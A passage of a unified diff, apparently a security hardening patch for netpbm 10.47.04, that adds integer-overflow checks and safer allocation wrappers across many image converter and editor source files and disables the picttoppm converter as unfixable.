     grayrow = pgm_allocrow((cols + 7) / 8 * 8);
     for (row = 0; row < rows; ++row) {
         unsigned int col;
diff -up netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security netpbm-10.47.04/converter/ppm/ilbmtoppm.c
--- netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ilbmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -594,6 +594,7 @@ decode_row(FILE *          const ifP,
     rawtype *chp;
 
     cols = bmhdP->w;
+    overflow_add(cols, 15);
     bytes = RowBytes(cols);
     for( plane = 0; plane < nPlanes; plane++ ) {
         int mask;
@@ -681,6 +682,23 @@ decode_mask(FILE *          const ifP,
  Multipalette handling
  ****************************************************************************/
 
+static void *
+xmalloc2(x, y)
+    int x;
+    int y;
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x,y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
 
 static void
 multi_adjust(cmap, row, palchange)
@@ -1300,6 +1318,9 @@ dcol_to_ppm(FILE *         const ifP,
     if( redmaxval != maxval || greenmaxval != maxval || bluemaxval != maxval )
         pm_message("scaling colors to %d bits", pm_maxvaltobits(maxval));
     
+    overflow_add(redmaxval, 1);
+    overflow_add(greenmaxval, 1);
+    overflow_add(bluemaxval, 1);
     MALLOCARRAY_NOFAIL(redtable,   redmaxval   +1);
     MALLOCARRAY_NOFAIL(greentable, greenmaxval +1);
     MALLOCARRAY_NOFAIL(bluetable,  bluemaxval  +1);
@@ -1729,7 +1750,9 @@ PCHG_ConvertSmall(PCHG, cmap, mask, data
             ChangeCount32 = *data++;
             datasize -= 2;
 
+            overflow_add(ChangeCount16, ChangeCount32);
             changes = ChangeCount16 + ChangeCount32;
+            overflow_add(changes, 1);
             for( i = 0; i < changes; i++ ) {
                 if( totalchanges >= PCHG->TotalChanges ) goto fail;
                 if( datasize < 2 ) goto fail;
@@ -1994,6 +2017,9 @@ read_pchg(FILE *     const ifp,
             cmap->mp_change[i] = NULL;
         if( PCHG.StartLine < 0 ) {
             int nch;
+            if(PCHG.MaxReg < PCHG.MinReg)
+                pm_error("assert: MinReg > MaxReg");
+            overflow_add(PCHG.MaxReg-PCHG.MinReg, 2);
             nch = PCHG.MaxReg - PCHG.MinReg +1;
             MALLOCARRAY_NOFAIL(cmap->mp_init, nch + 1);
             for( i = 0; i < nch; i++ )
@@ -2070,6 +2096,7 @@ process_body( FILE *          const ifp,
     if( typeid == ID_ILBM ) {
         int isdeep;
 
+        overflow_add(bmhdP->w, 15);
         MALLOCARRAY_NOFAIL(ilbmrow, RowBytes(bmhdP->w));
         *viewportmodesP |= fakeviewport;      /* -isham/-isehb */
 
diff -up netpbm-10.47.04/converter/ppm/imgtoppm.c.security netpbm-10.47.04/converter/ppm/imgtoppm.c
--- netpbm-10.47.04/converter/ppm/imgtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/imgtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -84,6 +84,7 @@ main(int argc, char ** argv) {
             len = atoi((char*) buf );
             if ( fread( buf, len, 1, ifp ) != 1 )
                 pm_error( "bad colormap buf" );
+            overflow2(cmaplen, 3);
             if ( cmaplen * 3 != len )
             {
                 pm_message(
@@ -105,6 +106,7 @@ main(int argc, char ** argv) {
                 pm_error( "bad pixel data header" );
             buf[8] = '\0';
             len = atoi((char*) buf );
+            overflow2(cols, rows);
             if ( len != cols * rows )
                 pm_message(
                     "pixel data length (%d) does not match image size (%d)",
diff -up netpbm-10.47.04/converter/ppm/Makefile.security netpbm-10.47.04/converter/ppm/Makefile
--- netpbm-10.47.04/converter/ppm/Makefile.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/Makefile	2009-10-21 15:09:33.000000000 +0200
@@ -11,7 +11,7 @@ SUBDIRS = hpcdtoppm ppmtompeg
 
 PORTBINARIES =	411toppm eyuvtoppm gouldtoppm ilbmtoppm imgtoppm \
 		leaftoppm mtvtoppm neotoppm \
-		pcxtoppm pc1toppm pi1toppm picttoppm pjtoppm \
+		pcxtoppm pc1toppm pi1toppm pjtoppm \
 		ppmtoacad ppmtoarbtxt \
 		ppmtobmp ppmtoeyuv ppmtogif ppmtoicr ppmtoilbm \
 		ppmtoleaf ppmtolj ppmtomitsu ppmtoneo \
diff -up netpbm-10.47.04/converter/ppm/pcxtoppm.c.security netpbm-10.47.04/converter/ppm/pcxtoppm.c
--- netpbm-10.47.04/converter/ppm/pcxtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pcxtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -409,6 +409,7 @@ pcx_planes_to_pixels(pixels, bitplanes, 
     /*
      * clear the pixel buffer
      */
+    overflow2(bytesperline, 8);
     npixels = (bytesperline * 8) / bitsperpixel;
     p    = pixels;
     while (--npixels >= 0)
@@ -470,6 +471,7 @@ pcx_16col_to_ppm(FILE *       const ifP,
     }
 
     /*  BytesPerLine should be >= BitsPerPixel * cols / 8  */
+    overflow2(BytesPerLine, 8);
     rawcols = BytesPerLine * 8 / BitsPerPixel;
     if (headerCols > rawcols) {
         pm_message("warning - BytesPerLine = %d, "
diff -up netpbm-10.47.04/converter/ppm/picttoppm.c.security netpbm-10.47.04/converter/ppm/picttoppm.c
--- netpbm-10.47.04/converter/ppm/picttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/picttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -1,3 +1,5 @@
+#error "Unfixable. Don't ship me"
+
 /*
  * picttoppm.c -- convert a MacIntosh PICT file to PPM format.
  *
diff -up netpbm-10.47.04/converter/ppm/pjtoppm.c.security netpbm-10.47.04/converter/ppm/pjtoppm.c
--- netpbm-10.47.04/converter/ppm/pjtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pjtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -127,19 +127,21 @@ main(argc, argv)
                 case 'V':   /* send plane */
                 case 'W':   /* send last plane */
                     if (rows == -1 || r >= rows || image == NULL) {
-                        if (rows == -1 || r >= rows)
+                        if (rows == -1 || r >= rows) {
+                            overflow_add(rows, 100);
                             rows += 100;
+                        }
                         if (image == NULL) {
-                            MALLOCARRAY(image, rows * planes);
-                            MALLOCARRAY(imlen, rows * planes);
+                            image = (unsigned char **)
+                                malloc3(rows , planes , sizeof(unsigned char *));
+                            imlen = (int *) malloc3(rows , planes,  sizeof(int));
                         }
                         else {
+                            overflow2(rows,planes);
                             image = (unsigned char **) 
-                                realloc(image, 
-                                        rows * planes * 
+                                realloc2(image, rows * planes,
                                         sizeof(unsigned char *));
-                            imlen = (int *) 
-                                realloc(imlen, rows * planes * sizeof(int));
+                            imlen = (int *) realloc2(imlen, rows * planes, sizeof(int));
                         }
                     }
                     if (image == NULL || imlen == NULL)
@@ -212,8 +214,10 @@ main(argc, argv)
                 for (i = 0, c = 0; c < imlen[p + r * planes]; c += 2)
                     for (cmd = image[p + r * planes][c],
                              val = image[p + r * planes][c+1]; 
-                         cmd >= 0 && i < newcols; cmd--, i++) 
+                         cmd >= 0 && i < newcols; cmd--, i++) {
                         buf[i] = val;
+                        overflow_add(i, 1);
+                    }
                 cols = cols > i ? cols : i;
                 free(image[p + r * planes]);
                 /* 
@@ -224,6 +228,7 @@ main(argc, argv)
                 image[p + r * planes] = (unsigned char *) realloc(buf, i);
             }
         }
+        overflow2(cols, 8);
         cols *= 8;
     }
             
diff -up netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security netpbm-10.47.04/converter/ppm/ppmtoeyuv.c
--- netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoeyuv.c	2009-10-21 15:09:33.000000000 +0200
@@ -114,6 +114,7 @@ create_multiplication_tables(const pixva
 
     int index;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY_NOFAIL(mult299   , maxval+1);
     MALLOCARRAY_NOFAIL(mult587   , maxval+1);
     MALLOCARRAY_NOFAIL(mult114   , maxval+1);
diff -up netpbm-10.47.04/converter/ppm/ppmtoicr.c.security netpbm-10.47.04/converter/ppm/ppmtoicr.c
--- netpbm-10.47.04/converter/ppm/ppmtoicr.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoicr.c	2009-10-21 15:09:33.000000000 +0200
@@ -169,7 +169,7 @@ char* argv[];
 
 	if (rleflag) {	
 		pm_message("sending run-length encoded picture data ..." );
-		testimage = (char*) malloc(rows*cols);
+		testimage = (char*) malloc2(rows, cols);
 		p = testimage;
 		for (i=0; i<rows; i++)
 			for (j=0; j<cols; j++) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security netpbm-10.47.04/converter/ppm/ppmtoilbm.c
--- netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoilbm.c	2009-10-21 15:47:50.000000000 +0200
@@ -1214,6 +1214,7 @@ ppm_to_rgb8(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGB8 uses genlock bits */
     compmethod = 4;     /* RGB8 files are always compressed */
+    overflow2(cols, 4);
     MALLOCARRAY_NOFAIL(compr_row, cols * 4);
 
     if( maxval != 255 ) {
@@ -1302,6 +1303,7 @@ ppm_to_rgbn(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGBN uses genlock bits */
     compmethod = 4;     /* RGBN files are always compressed */
+    overflow2(cols, 2);
     MALLOCARRAY_NOFAIL(compr_row, cols * 2);
 
     if( maxval != 15 ) {
@@ -1779,6 +1781,7 @@ make_val_table(oldmaxval, newmaxval)
     unsigned int i;
     int * table;
 
+    overflow_add(oldmaxval, 1);
     MALLOCARRAY_NOFAIL(table, oldmaxval + 1);
     for (i = 0; i <= oldmaxval; ++i)
         table[i] = ROUNDDIV(i * newmaxval, oldmaxval);
@@ -2283,8 +2286,11 @@ main(int argc, char ** argv) {
         MALLOCARRAY_NOFAIL(coded_rowbuf, RowBytes(cols));
         for (i = 0; i < RowBytes(cols); ++i)
             coded_rowbuf[i] = 0;
-        if (DO_COMPRESS)
+        if (DO_COMPRESS) {
+            overflow2(cols,2);
+            overflow_add(cols*2,2);
             MALLOCARRAY_NOFAIL(compr_rowbuf, WORSTCOMPR(RowBytes(cols)));
+	}
     }
     
     switch (mode) {
diff -up netpbm-10.47.04/converter/ppm/ppmtolj.c.security netpbm-10.47.04/converter/ppm/ppmtolj.c
--- netpbm-10.47.04/converter/ppm/ppmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -181,7 +181,8 @@ int main(int argc, char *argv[]) {
 
     ppm_readppminit( ifp, &cols, &rows, &maxval, &format );
     pixelrow = ppm_allocrow( cols );
-
+    
+    overflow2(cols, 6);
     obuf = (unsigned char *) pm_allocrow(cols * 3, sizeof(unsigned char));
     cbuf = (unsigned char *) pm_allocrow(cols * 6, sizeof(unsigned char));
     if (mode == C_TRANS_MODE_DELTA)
diff -up netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security netpbm-10.47.04/converter/ppm/ppmtomitsu.c
--- netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtomitsu.c	2009-10-21 15:48:30.000000000 +0200
@@ -685,6 +685,8 @@ main(int argc, char * argv[]) {
         medias = MSize_User;
 
     if (dpi300) {
+        overflow2(medias.maxcols, 2);
+        overflow2(medias.maxrows, 2);
         medias.maxcols *= 2;
         medias.maxrows *= 2;
     }
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security	2009-10-21 13:39:09.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c	2009-10-21 15:09:33.000000000 +0200
@@ -800,7 +800,8 @@ BlockComputeSNR(MpegFrame * const curren
     if (needs_init) {
         int ysz = (Fsize_y>>3) * sizeof(int32 *);
         int xsz = (Fsize_x>>3);
-    
+
+	overflow2((Fsize_y>>3), sizeof(int32 *));
         needs_init = FALSE;
         for (y=0; y<3; y++) {
             varDiff[y] = ratio[y] = total[y] = 0.0;
@@ -819,6 +820,7 @@ BlockComputeSNR(MpegFrame * const curren
             fprintf(stderr, "Out of memory in BlockComputeSNR\n");
             exit(-1);
         }
+	overflow2(xsz,4);
         for (y = 0; y < ySize[0]>>3; y++) {
             SignalY[y]  = (int32 *) calloc(xsz,4);
             SignalCr[y]  = (int32 *) calloc(xsz,4);
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c	2009-10-21 15:09:33.000000000 +0200
@@ -2161,7 +2161,9 @@ DecodeServer(int          const numInput
     const char * error;
 
     /* should keep list of port numbers to notify when frames become ready */
-
+  
+    overflow2(numInputFiles, sizeof(int));
+    overflow2(numInputFiles, sizeof(boolean));
     ready = (boolean *) calloc(numInputFiles, sizeof(boolean));
     waitMachine = (int *) calloc(numInputFiles, sizeof(int));
     waitPort = (int *) malloc(numMachines*sizeof(int));
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c	2009-10-21 15:09:33.000000000 +0200
@@ -216,7 +216,14 @@ SetSearchRange(int const pixelsP, int co
         int const max_search = max(searchRangeP, searchRangeB);
 
         int index;
-    
+
+        overflow2(searchRangeP, 2);
+        overflow2(searchRangeB, 2);
+        overflow_add(searchRangeP*2, 3);
+        overflow_add(searchRangeB*2, 3);
+        overflow2(2*searchRangeB+3, sizeof(int));
+        overflow2(2*searchRangeP+3, sizeof(int));
+
         pmvHistogram = (int **) malloc((2*searchRangeP+3)*sizeof(int *));
         bbmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
         bfmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
@@ -800,6 +807,9 @@ ShowPMVHistogram(fpointer)
     int *columnTotals;
     int rowTotal;
 
+    overflow2(searchRangeP, 2);
+    overflow_add(searchRangeP*2,  3);
+    overflow2(searchRangeP*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeP+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -847,6 +857,9 @@ ShowBBMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Backwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -894,6 +907,9 @@ ShowBFMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Forwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,8 @@ compute_mult_tables(const pixval maxval)
         } 
         table_maxval = maxval;
 
+	overflow_add(table_maxval, 1);
+	overflow2(table_maxval+1, sizeof(float));
         mult299   = malloc((table_maxval+1)*sizeof(float));
         mult587   = malloc((table_maxval+1)*sizeof(float));
         mult114   = malloc((table_maxval+1)*sizeof(float));
diff -up netpbm-10.47.04/converter/ppm/ppmtopcx.c.security netpbm-10.47.04/converter/ppm/ppmtopcx.c
--- netpbm-10.47.04/converter/ppm/ppmtopcx.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopcx.c	2009-10-21 15:09:33.000000000 +0200
@@ -419,6 +419,8 @@ ppmTo16ColorPcx(pixel **            cons
             else                   Planes = 1;
         }
     }
+    overflow2(BitsPerPixel, cols);
+    overflow_add(BitsPerPixel * cols, 7);
     BytesPerLine = ((cols * BitsPerPixel) + 7) / 8;
     MALLOCARRAY_NOFAIL(indexRow, cols);
     MALLOCARRAY_NOFAIL(planesrow, BytesPerLine);
diff -up netpbm-10.47.04/converter/ppm/ppmtopict.c.security netpbm-10.47.04/converter/ppm/ppmtopict.c
--- netpbm-10.47.04/converter/ppm/ppmtopict.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopict.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,6 +245,8 @@ char *argv[];
 	putShort(stdout, 0);			/* mode */
 
 	/* Finally, write out the data. */
+	overflow_add(cols/MAX_COUNT, 1);
+        overflow_add(cols, cols/MAX_COUNT+1);
 	packed = (char*) malloc((unsigned)(cols+cols/MAX_COUNT+1));
 	oc = 0;
 	for (row = 0; row < rows; row++)
diff -up netpbm-10.47.04/converter/ppm/ppmtopj.c.security netpbm-10.47.04/converter/ppm/ppmtopj.c
--- netpbm-10.47.04/converter/ppm/ppmtopj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopj.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ char *argv[];
 	pixels = ppm_readppm( ifp, &cols, &rows, &maxval );
 
 	pm_close( ifp );
+	overflow2(cols,2);
 	obuf = (unsigned char *) pm_allocrow(cols, sizeof(unsigned char));
 	cbuf = (unsigned char *) pm_allocrow(cols * 2, sizeof(unsigned char));
 
diff -up netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security netpbm-10.47.04/converter/ppm/ppmtopjxl.c
--- netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopjxl.c	2009-10-21 15:43:31.000000000 +0200
@@ -276,6 +276,8 @@ main(int argc, const char * argv[]) {
         pm_error("image too large; reduce with ppmscale");
     if (maxval > PCL_MAXVAL)
         pm_error("color range too large; reduce with ppmcscale");
+    if (cols < 0 || rows < 0)
+        pm_error("negative size is not possible");
 
     /* Figure out the colormap. */
     pm_message("Computing colormap...");
@@ -296,6 +298,8 @@ main(int argc, const char * argv[]) {
         case 0: /* direct mode (no palette) */
             bpp = bitsperpixel(maxval); /* bits per pixel */
             bpg = bpp; bpb = bpp;
+	    overflow2(bpp, 3);
+	    overflow_add(bpp*3, 7);
             bpp = (bpp*3+7)>>3;     /* bytes per pixel now */
             bpr = (bpp<<3)-bpg-bpb; 
             bpp *= cols;            /* bytes per row now */
@@ -305,9 +309,13 @@ main(int argc, const char * argv[]) {
         case 3: case 7: pclindex++;
         default:
             bpp = 8/pclindex;
+	    overflow_add(cols, bpp);
+	    if(bpp == 0)
+		pm_error("assert: no bpp");
             bpp = (cols+bpp-1)/bpp;      /* bytes per row */
         }
     }
+    overflow2(bpp,2);
     inrow = (char *)malloc((unsigned)bpp);
     outrow = (char *)malloc((unsigned)bpp*2);
     runcnt = (signed char *)malloc((unsigned)bpp);
diff -up netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security netpbm-10.47.04/converter/ppm/ppmtowinicon.c
--- netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtowinicon.c	2009-10-21 15:44:54.000000000 +0200
@@ -12,6 +12,7 @@
 
 #include <math.h>
 #include <string.h>
+#include <stdlib.h>
 
 #include "pm_c_util.h"
 #include "winico.h"
@@ -219,6 +220,7 @@ createAndBitmap (gray ** const ba, int c
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
    for (y=0;y<rows;y++) {
       u1 * row;
@@ -347,6 +349,7 @@ create4Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -407,6 +410,7 @@ create8Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -714,6 +718,10 @@ addEntryToIcon(MS_Ico       const MSIcon
     entry->bitcount      = bpp;
     entry->ih            = createInfoHeader(entry, xorBitmap, andBitmap);
     entry->colors        = palette->colors;
+    overflow2(4, entry->color_count);
+    overflow_add(xorBitmap->size, andBitmap->size);
+    overflow_add(xorBitmap->size + andBitmap->size, 40);
+    overflow_add(xorBitmap->size + andBitmap->size + 40, 4 * entry->color_count);
     entry->size_in_bytes = 
         xorBitmap->size + andBitmap->size + 40 + (4 * entry->color_count);
     if (verbose) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security netpbm-10.47.04/converter/ppm/ppmtoxpm.c
--- netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoxpm.c	2009-10-21 15:09:33.000000000 +0200
@@ -197,6 +197,7 @@ genNumstr(unsigned int const input, int 
     unsigned int i;
 
     /* Allocate memory for printed number.  Abort if error. */
+    overflow_add(digits, 1);
     if (!(str = (char *) malloc(digits + 1)))
         pm_error("out of memory");
 
@@ -314,6 +315,7 @@ genCmap(colorhist_vector const chv, 
     unsigned int charsPerPixel;
     unsigned int xpmMaxval;
     
+    if (includeTransparent) overflow_add(ncolors, 1);
     MALLOCARRAY(cmap, cmapSize);
     if (cmapP == NULL)
         pm_error("Out of memory allocating %u bytes for a color map.",
diff -up netpbm-10.47.04/converter/ppm/qrttoppm.c.security netpbm-10.47.04/converter/ppm/qrttoppm.c
--- netpbm-10.47.04/converter/ppm/qrttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/qrttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -46,7 +46,7 @@ main( argc, argv )
 
     ppm_writeppminit( stdout, cols, rows, maxval, 0 );
     pixelrow = ppm_allocrow( cols );
-    buf = (unsigned char *) malloc( 3 * cols );
+    buf = (unsigned char *) malloc2( 3 , cols );
     if ( buf == (unsigned char *) 0 )
 	pm_error( "out of memory" );
 
diff -up netpbm-10.47.04/converter/ppm/sldtoppm.c.security netpbm-10.47.04/converter/ppm/sldtoppm.c
--- netpbm-10.47.04/converter/ppm/sldtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/sldtoppm.c	2009-10-21 15:44:11.000000000 +0200
@@ -455,6 +455,8 @@ slider(slvecfn   slvec,
     
     /* Allocate image buffer and clear it to black. */
     
+    overflow_add(ixdots,1);
+    overflow_add(iydots,1);
     pixels = ppm_allocarray(pixcols = ixdots + 1, pixrows = iydots + 1);
     PPM_ASSIGN(rgbcolor, 0, 0, 0);
     ppmd_filledrectangle(pixels, pixcols, pixrows, pixmaxval, 0, 0,
diff -up netpbm-10.47.04/converter/ppm/ximtoppm.c.security netpbm-10.47.04/converter/ppm/ximtoppm.c
--- netpbm-10.47.04/converter/ppm/ximtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ximtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -117,6 +117,7 @@ ReadXimHeader(FILE *     const in_fp,
     header->bits_channel = atoi(a_head.bits_per_channel);
     header->alpha_flag = atoi(a_head.alpha_channel);
     if (strlen(a_head.author)) {
+    	overflow_add(strlen(a_head.author),1);
         if (!(header->author = calloc((unsigned int)strlen(a_head.author)+1,
                 1))) {
             pm_message("ReadXimHeader: can't calloc author string" );
@@ -126,6 +127,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->author, a_head.author, strlen(a_head.author));
     }
     if (strlen(a_head.date)) {
+        overflow_add(strlen(a_head.date),1);
         if (!(header->date =calloc((unsigned int)strlen(a_head.date)+1,1))){
             pm_message("ReadXimHeader: can't calloc date string" );
             return(0);
@@ -134,6 +136,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->date, a_head.date, strlen(a_head.date));
     }
     if (strlen(a_head.program)) {
+        overflow_add(strlen(a_head.program),1);
         if (!(header->program = calloc(
                     (unsigned int)strlen(a_head.program) + 1, 1))) {
             pm_message("ReadXimHeader: can't calloc program string" );
@@ -160,6 +163,7 @@ ReadXimHeader(FILE *     const in_fp,
     if (header->nchannels == 3 && header->bits_channel == 8)
         header->ncolors = 0;
     else if (header->nchannels == 1 && header->bits_channel == 8) {
+	overflow2(header->ncolors, sizeof(Color));
         header->colors = (Color *)calloc((unsigned int)header->ncolors,
                 sizeof(Color));
         if (header->colors == NULL) {
diff -up netpbm-10.47.04/converter/ppm/xpmtoppm.c.security netpbm-10.47.04/converter/ppm/xpmtoppm.c
--- netpbm-10.47.04/converter/ppm/xpmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/xpmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -701,6 +701,7 @@ ReadXPMFile(FILE * const stream, int * c
                        &ncolors, colorsP, &ptab);
         *transparentP = -1;  /* No transparency in version 1 */
     }
+    overflow2(*widthP, *heightP);
     totalpixels = *widthP * *heightP;
     MALLOCARRAY(*dataP, totalpixels);
     if (*dataP == NULL)
diff -up netpbm-10.47.04/converter/ppm/yuvtoppm.c.security netpbm-10.47.04/converter/ppm/yuvtoppm.c
--- netpbm-10.47.04/converter/ppm/yuvtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/yuvtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,7 @@ main(argc, argv)
 
 	ppm_writeppminit(stdout, cols, rows, (pixval) 255, 0);
 	pixrow = ppm_allocrow(cols);
+    overflow_add(cols, 1);
     MALLOCARRAY(yuvbuf, (cols+1)/2);
     if (yuvbuf == NULL)
         pm_error("Unable to allocate YUV buffer for %d columns.", cols);
diff -up netpbm-10.47.04/editor/pamcut.c.security netpbm-10.47.04/editor/pamcut.c
--- netpbm-10.47.04/editor/pamcut.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamcut.c	2009-10-21 15:29:36.000000000 +0200
@@ -655,6 +655,8 @@ cutOneImage(FILE *             const ifP
 
     outpam = inpam;    /* Initial value -- most fields should be same */
     outpam.file   = ofP;
+    overflow_add(rightcol, 1);
+    overflow_add(bottomrow, 1);
     outpam.width  = rightcol - leftcol + 1;
     outpam.height = bottomrow - toprow + 1;
 
diff -up netpbm-10.47.04/editor/pbmpscale.c.security netpbm-10.47.04/editor/pbmpscale.c
--- netpbm-10.47.04/editor/pbmpscale.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmpscale.c	2009-10-21 15:27:21.000000000 +0200
@@ -110,6 +110,7 @@ main(int argc, char ** argv) {
     inrow[0] = inrow[1] = inrow[2] = NULL;
     pbm_readpbminit(ifP, &columns, &rows, &format) ;
 
+    overflow2(columns, scale);
     outrow = pbm_allocrow(columns*scale) ;
     MALLOCARRAY(flags, columns);
     if (flags == NULL) 
diff -up netpbm-10.47.04/editor/pbmreduce.c.security netpbm-10.47.04/editor/pbmreduce.c
--- netpbm-10.47.04/editor/pbmreduce.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmreduce.c	2009-10-21 15:26:13.000000000 +0200
@@ -94,6 +94,7 @@ main( argc, argv )
     if (halftone == QT_FS) {
         unsigned int col;
         /* Initialize Floyd-Steinberg. */
+        overflow_add(newcols, 2);
         MALLOCARRAY(thiserr, newcols + 2);
         MALLOCARRAY(nexterr, newcols + 2);
         if (thiserr == NULL || nexterr == NULL)
diff -up netpbm-10.47.04/editor/pnmgamma.c.security netpbm-10.47.04/editor/pnmgamma.c
--- netpbm-10.47.04/editor/pnmgamma.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmgamma.c	2009-10-21 15:09:34.000000000 +0200
@@ -586,6 +586,7 @@ createGammaTables(enum transferFunction 
                   xelval **             const btableP) {
 
     /* Allocate space for the tables. */
+    overflow_add(maxval, 1);
     MALLOCARRAY(*rtableP, maxval+1);
